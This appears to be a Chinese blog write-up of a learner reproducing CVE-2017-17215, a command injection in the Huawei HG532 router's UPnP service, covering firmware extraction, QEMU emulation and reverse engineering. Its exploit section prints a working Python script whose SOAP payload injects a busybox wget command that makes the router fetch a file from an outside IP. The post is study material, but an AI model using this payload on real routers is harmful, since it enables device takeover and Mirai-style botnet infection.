• 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记


    0x00 基本信息

    2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞。 华为HG532 是一款小型家用和办公用户打造的告诉无线路由器。该漏洞payload由蜜罐所捕获发现。利用原理是利用upnp服务中的注入漏洞实现任意命令执行。
    在Freebuf上有一系列文章,指导如何学习路由器漏洞分析,本文是第一篇通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃 的复现记录,旨在供后来者验证和自我学习。

    0x01 漏洞分析

    该漏洞版本固件是HG532eV100R001C02B015_upgrade_main.bin。目前华为已发布漏洞公告,固件已经升级到HG532eV100R001C02B015_upgrade_main.bin。在华为的花粉论坛找到了该版本的下载链接。
    click here to download
    在这篇文章CVE-2017-17215-HG532命令注入漏洞分析 中也找到了下载地址2。两篇文章可以对照看,Freebuf上的文章更为详细具体。
    查看官方Payload

    分析固件文件

    分析环境是ububtu 16.04 ,用binwalk解压固件文件

    binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
    


    根据CheckPoint报告,漏洞点位于UPnP服务中。执行下列命令。

    cd _HG532eV100R001C02B015_upgrade_main.bin.extracted/
    cd squashfs-root/
    cd bin
    file upnp
    

    结果如下图所示:

    可以看到upnp是MIPS 32位 大端架构系统

    0x02 分析环境搭建

    环境搭建主要目的是搭建路由器固件运行的环境,有以下步骤:

    1. 安装QEMU 虚拟机
    2. 配置网络环境
    3. 加载路由器虚拟机的操作系统镜像

    1. 安装qemu

    在ubantu中执行下列指令

    sudo apt-get install qemu 
    sudo apt-get install qemu-user-static
    sudo apt-get install qemu-system
    

    2. 网络配置

    1. 安装网络配置工具
    apt-get install bridge-utils uml-utilities
    
    1. 修改ubuntu网络配置接口文件 /etc/network/interfaces/

    2. 修改qemu的网络接口启动文件脚本etc/qemu-ifup如下所示:

    3. 启动桥接网络
      赋予可执行权限

    sudo chmod a+x /etc/qemu-ifup 
    

    重启网络服务,使配置生效

    sudo /etc/init.d/networking restart
    

    关闭ens33,启动桥接网络br0

    sudo ifdown eth0
    sudo ifup br0
    

    执行到这里时,系统提示eh0并未启动。这里并不影响

    eth0不存在
    br0启动后如下所示
    br0启动后

    3. 加载debian镜像文件

    结合Freebuf上的教程,下载debian mips qemu镜像文件,作为固件运行环境,下载地址如下:
    https://people.debian.org/~aurel32/qemu/mips/

    根据教程下载debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。教程中作者吐槽其他的帖子有各种下载镜像的地址,但是坑很多。
    然后在下载文件夹路径下,启动qemu,运行刚刚下载的镜像文件:

    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
    

    一切顺利,可以看到qemu成功启动

    在QEMU虚拟机中,用户名root,密码root成功登陆。
    但是尝试ping BAIDU时,发现网络不通。
    ifconfig -a发现了网络机接口是eht1:

    敲入指令

    nano /etc/network/interfaces
    

    将接口文件中的eth0改为eth1,之后,再键入指令

    ifup eth1
    

    重启eth1,再次尝试ping www.baidu.com。此时ping通。
    直接在qemu上操作比较麻烦,建议在ubantu上ssh root@虚拟机ip来操作虚拟机。
    将之前解压的固件包拷贝到虚拟机中,即完成路由器固件运行环境的搭建。接下来开始漏洞的复现。固件拷贝命令如下:

    scp -r ./squashfs-root  root@虚拟机ip:/root/ 
    

    0x03 漏洞复现

    本章解决三个问题。
    第一:漏洞点在路由器的哪个服务中;
    第二:如何运行漏洞点所在服务;
    第三:如何利用

    1. 定位漏洞点

    首先查看checkpoint报告中的payload

    注意其中的关键字:ctrltDeviceUpgrade_1,通过**grep -r [keywords]*指令查看有哪些文件包含这两个词语:

    再找下端口号37215所在文件。

    2. 运行漏洞点服务

    但是要运行upnp和mic这两个文件,需要先切换根目录到路由器文件系统中,如果直接运行结果如下:

    切换到路由器文件系统指令:

    chroot /root/squashfs-root /bin/sh
    

    或者执行qemu中squashfs-root文件夹中执行

    chroot . sh
    

    达到切换固件跟录下的目的。结果如下图所示:

    运行mic服务

    3. 验证漏洞

    这时测试一下路由器的37215端口,

    在ubantu上键入指令sudo nc -vlp 80 监听本机80端口,接下来运行exp脚本验证漏洞。

    0x04 EXP 脚本

    根据披露的payload,构造EXP 脚本如下:

    import requests
    
    headers = {
        "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
    }
    
    data = '''<?xml version="1.0" ?>
     <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
       <NewStatusURL>;/bin/busybox wget -g 98.168.241.128 -l /tmp/1 -r /1;</NewStatusURL>
       <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
      </u:Upgrade>
     </s:Body>
    </s:Envelope>
    '''
    requests.post('http://198.168.241.129:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
    

    监听发现80端口收到路由器发来的wget包。

    说明路由器成功执行exp中的wget指令。

    0x04 漏洞原理

    用IDA打开固件文件中的/bin/upnp文件。根据poc,注入点在<NewStatusURL>以及<NewDownloadURL>,在字符串中找到它们

    双击NewStatusURL,按下X查看交叉引用

    查看这部分代码

    newstatusurl这个节点值为 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>

    snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)
    

    其中a0是被拷贝的字符串的地址,也是system调用的第一个参数,这意味着路由器会执行system(a0)指令,达到控制该路由器的目的。例如在本文的exp中,执行的是wget指令。

    0x05 参考文章

    [1] 通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃
    [2] CVE-2017-17215 - 华为HG532命令注入漏洞分析
    [3] CVE-2017-17215-HG532命令注入漏洞分析

  • 相关阅读:
    js入门之DOM
    js入门之字符串常用的方法
    js入门之内置数组对象 Array
    js入门之内置对象Date
    js入门之内置对象Math
    js入门之对象
    js入门之函数
    js入门之数组
    js入门第二篇之流程控制语句
    js入门第一篇
  • 原文地址:https://www.cnblogs.com/deerCode/p/11919612.html
Copyright © 2020-2023  润新知